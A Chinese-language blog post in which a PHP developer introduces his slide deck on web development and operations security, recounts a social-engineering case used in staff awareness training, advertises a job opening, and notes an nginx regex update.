WEB开发安全与运维安全浅见 前段时间,同事LeeQueen为公司同事做了个《安全意识防护》的PPT,效果很好,各位新同事也知道日常公工作中,不太注意到的隐私保护问题。PPT中也提到了一些社会工程学的案例,提到了某团购网站前台人员被声称是新开礼品公司的工作人员,以填写信息就送礼品为由,获取到此团购网站的所有员工联系方式。后此团购网站的高层打电话回访,得知对方是猎头公司[详情见乌云网的链接]。此案例非常典型,讨论也尤为激烈,可谓是非常成功的培训。 此次培训之后,职业欠钱[sina微博][腾讯微博]让我给我们开发部门的PHP程序员同事们做一次PHP开发、运维时候一些安全注意事项。由于我在安全这块资历较浅,没有经验,我了解的大家都懂,这个话题太高深,我的水平完全不够,没法写这个PPT。而且,同事里有好几位安全界的前辈,我怎可关公面前耍大刀呢。上次写过一次关于正则表达式PPT,也就是一个月之前,深刻的体会到写PPT的痛苦,尤其是排版。实在不想写了。 后来,经常看到网上的安全工程师提到程序员安全意识较差,以至于同样的危险代码,危险程序,却屡次不改。当然,不是程序员不想改,而是程序员不太理解代码形成安全漏洞的原因。为此,我也觉得有必要提高一下我们程序员的安全意识了。 PPT中写了网络上常见的漏洞,形成原因,漏洞原理,防护建议等;也列举了近年来跟WEB相关的安全漏洞,以程序员的视角理解漏洞原理,并给出修复建议。这些建议仅供参考,不是正确答案。 由于本人水平原因,PPT中难免有错误,请见谅。也请安全界工程师指正。 借用网友的一句话,作为程序员,尽量要做到“知其然,知其所以然”,多多关注web安全,不要给安全工程师添麻烦,不能丢了程序员的脸。 同时,公司招聘PHP程序员,地点上海,公司规模为150人+,做网络游戏研发、运营。招聘条件以及待遇之类的,可以通过以下方式联系我,我们私聊。 http://weibo.com/cfc4nx http://t.qq.com/cfc4nx 邮箱:cfc4n@博客域名点COM 最后,PPT是周末两天写的,这两天老婆挺着6个月的大肚子,为我做饭,老婆实在是太辛苦了,感谢我老婆。 PS:讨厌写PPT[流泪]。 在线阅读: Web开发与运维安全浅见View more presentations from cfc4n. 下载到本地: PPT下载:web开发与运维安全浅见PPT下载,猛点这里 更多亮点在PPT的备注里,各位一定要看备注。转载的朋友麻烦保留PPT完整,包括招人信息。尤其是备注要保留。 ------- PPT在2011/09/19 更新了,更换匹配NGINX 对URI中PHP脚本的正则,考虑到了拓展名为 .phpa .phpb .phpc之类的情况。主要是更换了正则匹配的图,更改了正则内容。 2015/06/09 备注, nginx匹配URI时,对于PHP的解析,更改为 location ~ ^(?:(? 2011-09-19 +13 17 0